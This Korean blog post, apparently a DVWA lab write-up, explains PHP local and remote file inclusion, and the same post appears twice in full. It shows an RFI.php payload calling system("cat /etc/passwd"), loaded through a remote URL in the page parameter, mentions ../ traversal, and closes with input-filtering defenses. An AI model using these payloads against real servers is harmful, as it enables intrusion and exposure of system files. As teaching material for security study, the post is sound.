❓ 공격 개요
FIle Inclusion 공격 개요
> File Inclusion 공격은 주로 PHP 애플리케이션을 대상으로 발생한다.
> PHP는 인클루드 기능을 제공하는데 include() 함수를 이용하여 다른 파일을 소스코드에 직접 포함시킬 수 있는 기능이다.
> 인클루드할 수 있는 파일의 위치에 따라 LFI 와 RFI로 구분된다.
🔴 LFI(Local File Inclusion)
> LFI 취약점을 이용한 공격 방식은 서버 내(로컬) 파일에 접근하는 공격 방식이다. 예를 들어 서버 디렉토리 안에 WebShell을 업로드 한후 File Inclusion 취약점이 있는 페이지를 통해 WebShell을 실행 시킬 수 있고, 서버내에 중요 파일까지 접근을 할수 있다.
🔴 RFI(Remote File Inclusion)
> RFI 취약점을 이용한 공격 방식은 공격자가 악성 스크립트 파일을 서버에 전달하여 해당 페이지를 통하여 악성스크립트를 실행하게 하는 공격 방식 입니다. 외부의 파일도 원격으로 인클르두 할 수 있는 RFI 공격이 좀더 위협적이다.
💻 실습

FIle Inclusion 의 메인화면이다
브라우저의 주소창을 보면 page=include.php 보이는데
page 파라미터로 지정된 include.php 파일이 인클루드되어 표시하도록 되어있다.

File1.php 링크를 누르면 사용자의 ID와 IP 주소를 출력하는 코드가 인클루드되어 실행된다
주소창을 확인해보면 page 파라미터가 file1.php로 바뀐걸 알 수 있는데
file2.php 와 file3.php 를 눌러보면 그때그때 파라미터값이 변경된다.
파일의 경로가 파라미터를 통해 전달되면 File Inclusion 공격이나 directory traversal 공격을 시도할 수 있다.
이제 외부 호스트의 파일을 인클루드 해보자
실습에 사용될 코드는 다음과 같다
#RFI.php
<?php
echo 'RFI Attack Code<br>';
system("cat /etc/passwd");
?>
코드의 내용은
/etc/passwd 파일의 내용을 요청하는 system 함수를 호출한다.
이제 파일을 opt/lampp/htdocs 에 넣어주고 page 파라미터를 변경해보자
> page=http://실습환경 ip주소/RFI.php

RFI.php 파일이 인클루드 되어 실행되어 etc/passwd 의 파일이 성공적으로 노출되었다
php 파일을 수정하면 공격자가 원하는 어떤 명령이든 내릴 수 있게 된다
File Inclusion 공격시 파일의 확장자와 상관 없이 파일의 내용이 실행될 수 있는데
.txt 파일이나 .jpg 파일로도 공격이 가능하다
또한

../ 를 사용해 호스트 내부의 파일 내용을 읽는것도 가능하다
🔍 대응방안
1. 외부 사용자가 입력한 파일 이름을 인클루드에 사용하지 않는다

2. http://, https://, ../ 와 같은 문자열 차단
> 필요에 따라 외부에서 입력을 받아야 할 경우 입력값에 대한 검증이 필요하다

'Web Hacking > DVWA' 카테고리의 다른 글
[DVWA] - Insecure CAPTCHA (0) | 2022.11.09 |
---|---|
[DVWA] - File Upload (0) | 2022.11.08 |
[DVWA] - CSRF(Cross Site Request Forgery) (1) | 2022.11.06 |
[DVWA] - Command Injection (1) | 2022.11.02 |
[DVWA] - Brute Force (0) | 2022.11.02 |
❓ 공격 개요
FIle Inclusion 공격 개요
> File Inclusion 공격은 주로 PHP 애플리케이션을 대상으로 발생한다.
> PHP는 인클루드 기능을 제공하는데 include() 함수를 이용하여 다른 파일을 소스코드에 직접 포함시킬 수 있는 기능이다.
> 인클루드할 수 있는 파일의 위치에 따라 LFI 와 RFI로 구분된다.
🔴 LFI(Local File Inclusion)
> LFI 취약점을 이용한 공격 방식은 서버 내(로컬) 파일에 접근하는 공격 방식이다. 예를 들어 서버 디렉토리 안에 WebShell을 업로드 한후 File Inclusion 취약점이 있는 페이지를 통해 WebShell을 실행 시킬 수 있고, 서버내에 중요 파일까지 접근을 할수 있다.
🔴 RFI(Remote File Inclusion)
> RFI 취약점을 이용한 공격 방식은 공격자가 악성 스크립트 파일을 서버에 전달하여 해당 페이지를 통하여 악성스크립트를 실행하게 하는 공격 방식 입니다. 외부의 파일도 원격으로 인클르두 할 수 있는 RFI 공격이 좀더 위협적이다.
💻 실습

FIle Inclusion 의 메인화면이다
브라우저의 주소창을 보면 page=include.php 보이는데
page 파라미터로 지정된 include.php 파일이 인클루드되어 표시하도록 되어있다.

File1.php 링크를 누르면 사용자의 ID와 IP 주소를 출력하는 코드가 인클루드되어 실행된다
주소창을 확인해보면 page 파라미터가 file1.php로 바뀐걸 알 수 있는데
file2.php 와 file3.php 를 눌러보면 그때그때 파라미터값이 변경된다.
파일의 경로가 파라미터를 통해 전달되면 File Inclusion 공격이나 directory traversal 공격을 시도할 수 있다.
이제 외부 호스트의 파일을 인클루드 해보자
실습에 사용될 코드는 다음과 같다
#RFI.php
<?php
echo 'RFI Attack Code<br>';
system("cat /etc/passwd");
?>
코드의 내용은
/etc/passwd 파일의 내용을 요청하는 system 함수를 호출한다.
이제 파일을 opt/lampp/htdocs 에 넣어주고 page 파라미터를 변경해보자
> page=http://실습환경 ip주소/RFI.php

RFI.php 파일이 인클루드 되어 실행되어 etc/passwd 의 파일이 성공적으로 노출되었다
php 파일을 수정하면 공격자가 원하는 어떤 명령이든 내릴 수 있게 된다
File Inclusion 공격시 파일의 확장자와 상관 없이 파일의 내용이 실행될 수 있는데
.txt 파일이나 .jpg 파일로도 공격이 가능하다
또한

../ 를 사용해 호스트 내부의 파일 내용을 읽는것도 가능하다
🔍 대응방안
1. 외부 사용자가 입력한 파일 이름을 인클루드에 사용하지 않는다

2. http://, https://, ../ 와 같은 문자열 차단
> 필요에 따라 외부에서 입력을 받아야 할 경우 입력값에 대한 검증이 필요하다

'Web Hacking > DVWA' 카테고리의 다른 글
[DVWA] - Insecure CAPTCHA (0) | 2022.11.09 |
---|---|
[DVWA] - File Upload (0) | 2022.11.08 |
[DVWA] - CSRF(Cross Site Request Forgery) (1) | 2022.11.06 |
[DVWA] - Command Injection (1) | 2022.11.02 |
[DVWA] - Brute Force (0) | 2022.11.02 |